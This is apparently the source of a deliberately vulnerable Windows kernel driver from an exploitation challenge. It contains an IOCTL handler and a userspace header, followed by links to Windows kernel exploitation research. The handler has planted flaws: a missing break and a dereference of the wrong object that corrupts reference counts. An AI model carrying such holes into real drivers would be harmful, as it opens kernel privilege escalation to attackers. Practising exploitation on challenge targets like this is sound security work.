// Delete the link from our device name to a name in the Win32 namespace.
//
IoDeleteSymbolicLink(&uniWin32NameString);
if (deviceObject != NULL)
{
IoDeleteDevice(deviceObject);
}
}
NTSTATUS
FileUtilityDeviceControl(
PDEVICE_OBJECT DeviceObject,
PIRP Irp
)
/*++
Routine Description:
This routine is called by the I/O system to perform a device I/O
control function.
Arguments:
DeviceObject - a pointer to the object that represents the device
that I/O is to be done on.
Irp - a pointer to the I/O Request Packet for this request.
Return Value:
NT status code
--*/
{
PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
irpSp = IoGetCurrentIrpStackLocation(Irp);
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
// OutputBuffer must be present and point to userspace, size needs to be checked by each handler individually to match the desired struct
if (!Irp->UserBuffer || (INT64)Irp->UserBuffer < 0) {
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}
// We know that InputBuffer is a file handle for all handlers. Fetch the actual object now
if (inBufLength) {
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}
HANDLE fileHandle = (HANDLE)irpSp->Parameters.DeviceIoControl.Type3InputBuffer;
PFILE_OBJECT fileObject;
ntStatus = ObReferenceObjectByHandle(fileHandle, FILE_READ_ACCESS, *IoFileObjectType, UserMode, (PVOID*)&fileObject, NULL);
if (!NT_SUCCESS(ntStatus)) goto End;
#define CHECK_AND_CAST_OUTPUT(name, type) \
if (outBufLength != sizeof(type)) { \
ntStatus = STATUS_INFO_LENGTH_MISMATCH; \
ObDereferenceObject(fileHandle); \
goto End; \
} \
type* name = (type*) Irp->UserBuffer; \
memset(name, 0, sizeof(type))
//
// Determine which I/O control code was specified.
//
switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_ACCESS_INFORMATION);
info->ReadAccess = fileObject->ReadAccess;
info->WriteAccess = fileObject->WriteAccess;
info->DeleteAccess = fileObject->DeleteAccess;
ObDereferenceObject(fileObject);
}
case IOCTL_FILEUTIL_METHOD_GET_SHARING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_SHARING_INFORMATION);
info->SharedRead = fileObject->SharedRead;
info->SharedWrite = fileObject->SharedWrite;
info->SharedDelete = fileObject->SharedDelete;
ObDereferenceObject(fileObject);
break;
}
case IOCTL_FILEUTIL_METHOD_GET_CACHING_INFORMATION: {
CHECK_AND_CAST_OUTPUT(info, FILEUTIL_CACHING_INFORMATION);
info->HasPrivateCache = !!fileObject->PrivateCacheMap;
if (fileObject->SectionObjectPointer) {
info->HasSectionAsData = !!fileObject->SectionObjectPointer->DataSectionObject;
info->HasSharedCache = !!fileObject->SectionObjectPointer->SharedCacheMap;
info->HasSectionAsImage = !!fileObject->SectionObjectPointer->ImageSectionObject;
}
ObDereferenceObject(fileObject);
break;
}
default:
//
// The specified I/O control code is unrecognized by this driver.
//
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
FILEUTIL_KDPRINT(("ERROR: unrecognized IOCTL %x\n",
irpSp->Parameters.DeviceIoControl.IoControlCode));
ObDereferenceObject(fileObject);
break;
}
End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//
Irp->IoStatus.Status = ntStatus;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return ntStatus;
}
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455
#pragma once
// Userspace-facing interface to the driver
// debug handlers give arbitrary alloc and R/W for debugging your exploit
// these are off on remote ;)
#define DEBUG_HANDLERS 0
// provide definition of CTL_CODE to userspace so it doesn't need to include ntddk.h
#ifndef CTL_CODE
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
#endif
// Device type -- in the "User Defined" range."
//
#define FILEUTIL_TYPE 40000
//
// The IOCTL function codes from 0x800 to 0xFFF are for customer use.
#define FILEUTIL_FUNCTION_CODE_BASE 0x800
// File Utitlity IOCTL calling convention (excluding debug handlers)
// All of the IOCTLs are called in the same way:
// - File handle is passed _directly_ as the `InputBuffer` parameter. Don't pass a userspace pointer to the handle, but instead cast the handle to (PVOID) and pass it directly.
// Accordingly, `InputBufferSize` is set to 0
// - The OutputBuffer will be the corresponding FILEUTIL_*_INFORMATION struct depending on the method. The pointer must be a userspace pointer to such a struct,
// and the OutputSize must match sizeof() the struct.
#define FILEUTIL_IOCTL(FunctionCode) \
CTL_CODE( FILEUTIL_TYPE, ( FILEUTIL_FUNCTION_CODE_BASE + FunctionCode ) , METHOD_NEITHER , FILE_ANY_ACCESS )
#define IOCTL_FILEUTIL_METHOD_GET_ACCESS_INFORMATION FILEUTIL_IOCTL(0)
#define IOCTL_FILEUTIL_METHOD_GET_SHARING_INFORMATION FILEUTIL_IOCTL(1)
#define IOCTL_FILEUTIL_METHOD_GET_CACHING_INFORMATION FILEUTIL_IOCTL(2)
typedef struct _FILEUTIL_ACCESS_INFORMATION {
UCHAR ReadAccess;
UCHAR WriteAccess;
UCHAR DeleteAccess;
} FILEUTIL_ACCESS_INFORMATION, *PFILEUTIL_ACCESS_INFORMATION;
typedef struct _FILEUTIL_SHARING_INFORMATION {
UCHAR SharedRead;
UCHAR SharedWrite;
UCHAR SharedDelete;
} FILEUTIL_SHARING_INFORMATION, *PFILEUTIL_SHARING_INFORMATION;
typedef struct _FILEUTIL_CACHING_INFORMATION {
UCHAR HasPrivateCache;
UCHAR HasSharedCache;
UCHAR HasSectionAsData;
UCHAR HasSectionAsImage;
} FILEUTIL_CACHING_INFORMATION, *PFILEUTIL_CACHING_INFORMATION;#ReferencesYou can see which links came from GPT from the utm_source=chatgpt.com.
https://starlabs.sg/blog/2025/03-cimfs-crashing-in-memory-finding-system-kernel-edition/
https://blog.slowerzs.net/posts/keyjumper/?utm_source=chatgpt.com
https://github.com/Slowerzs/KeyJumper/blob/main/src/launcher/keylog.c
https://xacone.github.io/kaslr_leak_24h2.html
https://devblogs.microsoft.com/oldnewthing/20210510-00/?p=105200&utm_source=chatgpt.com
https://windows-internals.com/category/windows-internals/
https://jxy-s.github.io/herpaderping/res/DivingDeeper.html
https://www.tiraniddo.dev/2020/02/dll-import-redirection-in-windows-10_8.html
https://projectzero.google/2017/08/bypassing-virtualbox-process-hardening.html
https://jle-k.com/blog/Exploiting+CVE-2026-21241#Bit-Manipulation%20Primitive
https://exploits.forsale/24h2-nt-exploit/
https://github.com/exploits-forsale/prefetch-tool/blob/main/prefetch_tool/prefetch_leak.h
https://www.alex-ionescu.com/kernel-heap-spraying-like-its-2015-swimming-in-the-big-kids-pool/
https://0dr3f.github.io/Demystifying_Physical_Memory_Primitive_Exploitation_on_Windows
https://blog.xenoscr.net/2021/09/06/Exploring-Virtual-Memory-and-Page-Structures.html